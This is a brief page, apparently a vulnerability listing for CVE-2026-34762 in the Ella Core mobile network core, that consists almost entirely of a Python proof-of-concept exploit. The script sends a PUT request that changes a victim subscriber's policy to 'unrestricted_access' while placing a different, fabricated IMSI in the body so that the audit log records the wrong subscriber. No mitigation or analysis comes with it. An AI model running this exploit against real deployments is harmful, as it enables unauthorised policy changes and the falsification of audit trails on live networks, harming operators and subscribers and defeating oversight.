CVE-2026-34762 Ella Core 订阅策略篡改漏洞

import requests # Target configuration target_url = "http://ella-core-instance/api/v1/subscriber/460019999999999" # Victim's IMSI auth_token = "Bearer <NetworkManager_Valid_Token>" # Headers headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Payload containing a mismatched IMSI (Attacker's or Fabricated) payload = { "imsi": "999990000000000", # This IMSI will be logged in audit trail "policy": "unrestricted_access" } # Send the PUT request # The server updates the policy for the Victim's IMSI in the URL # but logs the IMSI from the payload response = requests.put(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Policy modified and audit log likely fabricated.") else: print("[-] Exploit failed.") print(response.text)